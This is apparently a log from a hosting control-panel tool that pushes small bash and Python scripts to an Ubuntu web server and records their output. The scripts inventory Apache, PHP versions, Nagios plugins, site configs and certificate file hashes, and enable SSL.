VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
mars

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-110-generic



2026-04-25 17:59:13: 

PUT: /tmp/pkp199173

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-04-25 17:59:13: 

chmod 755 /tmp/pkp199173; /tmp/pkp199173; rm /tmp/pkp199173

2026-04-25 17:59:13: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2026-03-05T17:31:54
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 309494
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      309494  0.0  0.9 324728 39932 ?        Ss   Apr23   0:21 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 headers_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_fcgi_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2026-04-25 17:59:13: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'mars',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'headers_module',
      22 => 'mime_module',
      23 => 'mpm_prefork_module',
      24 => 'negotiation_module',
      25 => 'php_module',
      26 => 'proxy_module',
      27 => 'proxy_fcgi_module',
      28 => 'reqtimeout_module',
      29 => 'rewrite_module',
      30 => 'setenvif_module',
      31 => 'socache_shmcb_module',
      32 => 'ssl_module',
      33 => 'status_module',
    ),
  ),
)


2026-04-25 17:59:13: 

PUT: /tmp/pkp663594

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-04-25 17:59:13: 

chmod 755 /tmp/pkp663594; /tmp/pkp663594; rm /tmp/pkp663594

2026-04-25 17:59:13: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-04-25 17:59:13: 

PUT: /tmp/pkp728014

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-04-25 17:59:13: 

chmod 755 /tmp/pkp728014; /tmp/pkp728014; rm /tmp/pkp728014

2026-04-25 17:59:13: 


[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.30
[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.30
[php8.4]
php=/usr/bin/php8.4
fpm=/etc/php/8.4/fpm/pool.d
version=8.4.20


2026-04-25 17:59:13: 

PUT: /tmp/pkp658873

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-04-25 17:59:13: 

chmod 755 /tmp/pkp658873; /tmp/pkp658873; rm /tmp/pkp658873

2026-04-25 17:59:14: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_real)= dd4b06ffdde547e7ae66453ed8af464f
bin(/usr/local/nagios/libexec/check_ssh)= 4998ed8f57fbf48bb709a91b5f67fa88
bin(/usr/local/nagios/libexec/check_ntp_time)= cdcc9ae74ad304a1103f3b26aa2a4302
bin(/usr/local/nagios/libexec/check_dummy)= 593927625b5adf7f6cc5626cf271b00c
bin(/usr/local/nagios/libexec/check_ssmtp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_pop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_imap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_wave)= 43070cb5a8919450dc9dddfaad1372c5
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4561ff3ea28b2be1d51e660db0061ecb
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 2d1588877bbecf63a32b8450a9392703
bin(/usr/local/nagios/libexec/check_rpc)= d950b01072804e29ac7f5f081aa982db
bin(/usr/local/nagios/libexec/check_simap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ide_smart)= 70e1d5360c280f5a78a7eaf30fee6e43
bin(/usr/local/nagios/libexec/check_breeze)= 36e02260e64fa5199510d9dc5842d980
bin(/usr/local/nagios/libexec/check_dns)= ab42e148c68a92c9dda556789494efb6
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_ntp)= 9e7ffbfb53e8cb4f0ac3f693770675ba
bin(/usr/local/nagios/libexec/check_nagios)= 80e3c448e3c432a57b36339e22b18215
bin(/usr/local/nagios/libexec/check_overcr)= 7b207d58bc55979ba935ef83cc192e11
bin(/usr/local/nagios/libexec/check_nntp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_spop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ftp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_oracle)= 16b08209814208bb2b7c0f352e0219c8
bin(/usr/local/nagios/libexec/check_swap)= 21ddd46a28196d76075b7c635555a6cd
bin(/usr/local/nagios/libexec/check_sensors)= 7c1111569b1fbbb87ed8eb57f57c09d0
bin(/usr/local/nagios/libexec/check_jabber)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_by_ssh)= b1aa934f5258b2f1708c76a1a6e96a0b
bin(/usr/local/nagios/libexec/check_udp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_dig)= 7b01b47a8c952d611baec6a7004cc24c
bin(/usr/local/nagios/libexec/check_http)= 053039e43a1e34634f3516be01892a42
bin(/usr/local/nagios/libexec/check_nt)= 00a2c24b1de53f52b058cc6ebf430806
bin(/usr/local/nagios/libexec/check_disk_smb)= 5261d05672787c38c34ca67a0b83edf8
bin(/usr/local/nagios/libexec/check_mrtg)= 6f4cf4f1b0f8e29f0e465fbb2506e237
bin(/usr/local/nagios/libexec/check_clamd)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_users)= b55c15f4e1aeb36f902037bfd078d1c9
bin(/usr/local/nagios/libexec/check_ircd)= 022af53fbdb44f8b8b75f2713e8aa35b
bin(/usr/local/nagios/libexec/check_procs)= a4157b7321a21494e347131fe3e78e47
bin(/usr/local/nagios/libexec/check_log)= 7a0c4828d6f7ea76d98a51def16460ee
bin(/usr/local/nagios/libexec/check_mailq)= 078442ad36849198a80b539a65e57dc3
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= 6c20e762c6d4ce49fc31b3c0ac28be9e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 64d5374a8c511c9d2a2d199960c2c6f9
bin(/usr/local/nagios/libexec/check_tcp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= cdf54f5ea361ff54adaa5a325bd5e583
bin(/usr/local/nagios/libexec/check_time)= 94da3767ba0be89cb015f6771899764d
bin(/usr/local/nagios/libexec/check_smtp)= d7f2d41ab34b841616e67779411cd4cd
bin(/usr/local/nagios/libexec/check_ping)= bf10c48f916f5eed0d29af7d0e9fd678
bin(/usr/local/nagios/libexec/check_flexlm)= 4e3c614a3494e4e601b0624b4bc8e462
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= 5eb520cefdc87566ccfc5497bb5fc45c
bin(/usr/local/nagios/libexec/check_disk)= 81a61cb2c2922be54adf5b4b15f5ab3c
bin(/usr/local/nagios/libexec/check_uptime)= affa1adb0f2b5b9c950b8582576c3da2
bin(/usr/local/nagios/libexec/check_icmp)= eb69d9de7971a87698948950a5fd8756
bin(/usr/local/nagios/libexec/check_nntps)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_load)= e9e4c57cca90e17e4aa1721c7e8e8c85
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 38508203585e8cbbda9f3031a1940596
bin(/usr/local/nagios/libexec/check_ups)= 65eafce8676b5c74a336c60873a3eef3
bin(/usr/local/nagios/libexec/check_file_age)= 2e331a3782daf78c7b45d7003b6be288
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 1b5efef036053881690728bdee7c1116


2026-04-25 17:59:14: 

PUT: /tmp/pkp576474

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-04-25 17:59:14: 

chmod 755 /tmp/pkp576474; /tmp/pkp576474; rm /tmp/pkp576474

2026-04-25 17:59:14: 


status=ok


2026-04-25 17:59:14: 

PUT: /tmp/pkp711077

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-25 17:59:14: 

chmod 755 /tmp/pkp711077; /tmp/pkp711077; rm /tmp/pkp711077

2026-04-25 17:59:14: 
2026-04-25 17:59:14: 

PUT: /tmp/pkp982294

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/youngrepairs_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-25 17:59:14: 

chmod 755 /tmp/pkp982294; /tmp/pkp982294; rm /tmp/pkp982294

2026-04-25 17:59:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/youngrepairs_www_com.conf	625

<VirtualHost *:80>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/youngrepairs_www
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/youngrepairs/www_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.4-phil.sock|fcgi://localhost"
    </FilesMatch>
</VirtualHost>







(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/croydonchurch_www_info.conf)= de5778253e92019758e42ba4bd5e8ed5
MD5(/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt)= fe07422cbe758b217492221923475dac
MD5(/etc/apache2/sites-available/maminas_www_info.conf)= 9cc34fbadf9246b60a8c82e2f423c9e9
MD5(/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt)= 21c624d3bcdb6c3f01d2bfda1de6cd52
MD5(/etc/apache2/sites-available/carelinks_new_net.conf)= 9c97b03195ac1afa3ce88426fe57af03
MD5(/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt)= 5b6ac76901ff68dcda4a55ed292fb31e
MD5(/etc/apache2/sites-available/carelinks_www_org-uk.conf)= 13c0ae8eb21eac468e9f6afba3bde463
MD5(/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt)= f132ef23cb62d0e80d0586e7546221c3
MD5(/etc/apache2/sites-available/r-b-c_www_org.conf)= 28acf9b6c6c1defc473eee4d22d963a1
MD5(/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt)= e057cdf9b93fc05ab6471641fcde0180
MD5(/etc/apache2/sites-available/carelinks-uk_www_org.conf)= 7698a6d27320f3dd439958b4cbb016b0
MD5(/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt)= b87b368bb103ed46308719affdfcf030
MD5(/etc/apache2/sites-available/vards_www_info.conf)= 3ab195fb7a9c9280f3f22c96e086f160
MD5(/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt)= 707304c25cc6327dd1c41ca6c42e7c87
MD5(/etc/apache2/sites-available/persianchurch_www_info.conf)= 8a5bdf447271bd10324a6ca5827ff3fd
MD5(/etc/ssl/certs/8eb6e7ad55f500c5383398213d6ce103.crt)= ab0e8d5628e8f0c5c2abaec0e917b256
MD5(/etc/apache2/sites-available/pjy_croydon_us.conf)= 86950bee017a51fa98cbc51c02d1dd62
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= d1a350395fe5750eac654f1dc1ac7894
MD5(/etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf)= 1480b663074fec483391ae597a5513ef
MD5(/etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt)= 14b7bb4470ccea0634615a2b4db17359
MD5(/etc/apache2/sites-available/biblebasicsonline_www_com.conf)= f39a106d73153edb8da1df3e5bc1d7a6
MD5(/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt)= 5d28fd2cef2be3cf899395f8c461b70e
MD5(/etc/apache2/sites-available/freebible_www_info.conf)= 5d9475b21ba2f9e0bbbae32738a7fbb9
MD5(/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt)= 3be906ce6e2bcb7301d484487eea1048
MD5(/etc/apache2/sites-available/christadelphian_www_video.conf)= 6c1775cfef88e9db37e5dcacef8c8f61
MD5(/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt)= a9c7e854d597a5527f781108f2360e6e
MD5(/etc/apache2/sites-available/carelinksaustralia_www_info.conf)= bd4f1d092e6288ceb01fbd1a914e1ebb
MD5(/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt)= d6e199f2a4d3863d3af40962bcaf8d07
MD5(/etc/apache2/sites-available/christadelphianfraternal_www_info.conf)= ea10c8b417de303fe2e11ff496867757
MD5(/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt)= e705b34f5803f818080dcae1514b9cd2
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
